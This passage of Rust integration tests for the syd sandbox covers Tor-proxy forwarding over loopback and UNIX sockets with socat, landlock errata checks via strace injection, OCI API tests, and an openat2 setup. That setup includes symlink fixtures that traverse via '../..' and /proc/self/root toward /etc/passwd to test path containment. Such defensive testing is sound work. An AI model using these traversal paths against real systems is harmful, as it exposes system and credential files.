    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send44_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP4-LISTEN:0,bind=127.0.0.1,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send46_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4u_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
        "mktemp", "readlink",
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
set -x
{syd_pds} socat -u -d -d \
    UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on \
    -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send66_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send64_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
    TCP4-LISTEN:0,bind=127.0.0.1,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6u_many_par() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
        "mktemp", "readlink",
    );

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
set -x
{syd_pds} socat -u -d -d \
    UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
    OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -m proxy/addr:::1 \
    -m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
    -- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    echo "$data" | socat -u - TCP6:[::1]:9050,forever &
    n=`expr $n + 1`
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lock_errata() -> TestResult {
    skip_unless_available!("awk", "sh", "strace");
    skip_unless_strace_can_inject!();

    let syd_lock = &SYD_LOCK.to_string();
    let status = Command::new("sh")
        .arg("-c")
        .arg(format!(
            r##"
set -eu

SYD_LOCK={syd_lock}

# Deterministic masks.
# Stick to 32-bit-safe values to avoid negative/errno confusion.
BIT_A=0x8
BIT_B=0x20
BIT_C=0x10
BOTH_AB=0x28
ALL_BITS=0x7fffffff

# Helpers
run() {{
  DESC=$1
  INJECT=$2
  shift 2
  printf '=== %s ===\n' "$DESC"
  set +e
  OUT=$(strace -qq \
        -e trace=landlock_create_ruleset \
        -e "inject=landlock_create_ruleset:${{INJECT}}" \
        -- "$SYD_LOCK" "$@")
  RC=$?
  set -e
  printf '%s\n' "$OUT"
  printf '(rc=%s)\n' "$RC"
}}

expect_rc() {{
  EXP=$1
  if [ "$RC" -ne "$EXP" ]; then
    printf 'FAIL: expected rc=%s, got %s\n' "$EXP" "$RC" >&2
    exit 1
  fi
  printf 'OK: rc=%s\n' "$EXP"
}}

# 1. -E list prints something and exits 0.
run "list prints and rc=0" "retval=$BIT_A" -E list
[ -n "$OUT" ] || {{ echo "FAIL: -E list produced no output" >&2; exit 1; }}
expect_rc 0

# Extract a real *name* (not hex) to exercise name-based queries, if present.
FIRST_NAME=$(printf '%s\n' "$OUT" | awk '/^[A-Za-z_][A-Za-z0-9_]*$/ {{print; exit}}')

# 2. Single numeric: none available
run "single numeric none -> rc=2" "retval=0x0" -E "$BIT_A"
expect_rc 2

# 3. Single numeric: available
run "single numeric available -> rc=0" "retval=$BIT_A" -E "$BIT_A"
expect_rc 0

# 4. Multiple numeric: partial
run "multiple numeric partial -> rc=1" "retval=$BIT_A" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 1

# 5. Multiple numeric: all available
run "multiple numeric all -> rc=0" "retval=$BOTH_AB" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 0

# 6. Multiple numeric: none available
run "multiple numeric none -> rc=2" "retval=$BIT_A" -E "${{BIT_B}},${{BIT_C}}"
expect_rc 2

# 7. Unknown/undefined numeric accepted
run "undefined numeric accepted -> rc=0" "retval=0x40000000" -E 0x40000000
expect_rc 0

# 8. Name query: available, if we parsed a name
if [ -n "${{FIRST_NAME:-}}" ]; then
  run "name single available -> rc=0" "retval=$ALL_BITS" -E "$FIRST_NAME"
  expect_rc 0
else
  echo "SKIP: no parseable name from -E list output"
fi

# 9. Name query: none, if we parsed a name
if [ -n "${{FIRST_NAME:-}}" ]; then
  run "name single none -> rc=2" "retval=0x0" -E "$FIRST_NAME"
  expect_rc 2
else
  echo "SKIP: no parseable name from -E list output"
fi

# 10. Syscall error path (ENOSYS) treated as none
run "syscall error ENOSYS -> rc=2" "error=ENOSYS" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 2

# 11. -E list exits 0 irrespective of injected retval
run "list rc=0 regardless of retval" "retval=42" -E list
expect_rc 0

echo "All -E errata integration tests passed."
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_major() -> TestResult {
    skip_unless_available!("jq", "podman", "which");

    let mut syd_oci = SYD_OCI.to_string();
    if !syd_oci.starts_with('/') {
        syd_oci = which(&syd_oci)?;
    }
    let syd_oci = format!(
        "podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.major"
    );

    let output = Command::new("sh")
        .env("SYD_OCI_NO_CONFIG", "YesPlease")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .arg("-cex")
        .arg(syd_oci)
        .output()
        .expect("execute sh");
    assert_status_ok!(output.status);

    let mut major = output.stdout;
    major.pop(); // trim newline.
    let major = btoi::btoi::<u8>(&major).or(Err(Errno::EINVAL))?;
    assert_eq!(major, syd::config::API_VERSION.major());

    Ok(())
}

// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_minor() -> TestResult {
    skip_unless_available!("jq", "podman");

    let mut syd_oci = SYD_OCI.to_string();
    if !syd_oci.starts_with('/') {
        syd_oci = which(&syd_oci)?;
    }
    let syd_oci = format!(
        "podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.minor"
    );

    let output = Command::new("sh")
        .env("SYD_OCI_NO_CONFIG", "YesPlease")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .arg("-cex")
        .arg(syd_oci)
        .output()
        .expect("execute sh");
    assert_status_ok!(output.status);

    let mut minor = output.stdout;
    minor.pop(); // trim newline.
    let minor = btoi::btoi::<u8>(&minor).or(Err(Errno::EINVAL))?;
    assert_eq!(minor, syd::config::API_VERSION.minor());

    Ok(())
}

// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_version() -> TestResult {
    skip_unless_available!("jq", "podman");

    let mut syd_oci = SYD_OCI.to_string();
    if !syd_oci.starts_with('/') {
        syd_oci = which(&syd_oci)?;
    }
    let syd_oci = format!(
        "podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.version"
    );

    let output = Command::new("sh")
        .env("SYD_OCI_NO_CONFIG", "YesPlease")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .arg("-cex")
        .arg(syd_oci)
        .output()
        .expect("execute sh");
    assert_status_ok!(output.status);

    let mut version = output.stdout;
    version.pop(); // trim newline.
    assert_eq!(String::from_utf8_lossy(&version), API_VERSION.to_string());

    Ok(())
}

// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_syslog_init() -> TestResult {
    skip_unless_available!("jq", "podman", "sed");

    let mut syd_oci = SYD_OCI.to_string();
    if !syd_oci.starts_with('/') {
        syd_oci = which(&syd_oci)?;
    }
    let syd_oci = format!(
        "podman run --rm --runtime {syd_oci} alpine:latest dmesg | head -n1 | sed 's/^[^{{]*//' | jq -r .chapter"
    );

    let output = Command::new("sh")
        .env("SYD_OCI_NO_CONFIG", "YesPlease")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .arg("-cex")
        .arg(syd_oci)
        .output()
        .expect("execute sh");
    assert_status_ok!(output.status);

    let mut chapter = output.stdout;
    chapter.pop(); // trim newline.
    let chapter = btoi::btoi::<u8>(&chapter).or(Err(Errno::EINVAL))?;
    assert_eq!(chapter, 24);

    Ok(())
}

fn key_gen_test() -> Result<KeySerial, Errno> {
    let key = Key::random()?;
    add_key(
        "user",
        "SYD-3-CRYPT-TEST",
        key.as_ref(),
        KEY_SPEC_USER_KEYRING,
    )
}

/*
 * Construct a test directory with the following structure:
 *
 * root/
 * |-- procexe -> /proc/self/exe
 * |-- procroot -> /proc/self/root
 * |-- root/
 * |-- mnt/ [mountpoint]
 * |   |-- self -> ../mnt/
 * |   `-- absself -> /mnt/
 * |-- etc/
 * |   `-- passwd
 * |-- creatlink -> /newfile3
 * |-- reletc -> etc/
 * |-- relsym -> etc/passwd
 * |-- absetc -> /etc/
 * |-- abssym -> /etc/passwd
 * |-- abscheeky -> /cheeky
 * `-- cheeky/
 *     |-- absself -> /
 *     |-- self -> ../../root/
 *     |-- garbageself -> /../../root/
 *     |-- passwd -> ../cheeky/../cheeky/../etc/../etc/passwd
 *     |-- abspasswd -> /../cheeky/../cheeky/../etc/../etc/passwd
 *     |-- dotdotlink -> ../../../../../../../../../../../../../../etc/passwd
 *     `-- garbagelink -> /../../../../../../../../../../../../../../etc/passwd
 */

/// Enters a user and mount namespace,
/// and sets up the openat2 test directory structure.
fn setup_openat2_test() -> SydResult<OwnedFd> {
    // Get current user/group.
    let uid = getuid().as_raw();
    let gid = getgid().as_raw();

    // Unshare the mount namespace.
    unshare(CloneFlags::CLONE_NEWUSER | CloneFlags::CLONE_NEWNS)?;

    // Map current user/group into userns,
    // or else e.g. mkdirat() will return EOVERFLOW.
    let uid_buf = {
        let uid_maps = vec![
            UidMap {
                inside_uid: uid,
                outside_uid: uid,
                count: 1,
            }, // Map the current user.
        ];
        let mut buf = Vec::new();
        for map in uid_maps {
            writeln!(
                &mut buf,
                "{} {} {}",
                map.inside_uid, map.outside_uid, map.count
            )?;
        }
        buf
    };

    let gid_buf = {
        let gid_maps = vec![
            GidMap {
                inside_gid: gid,
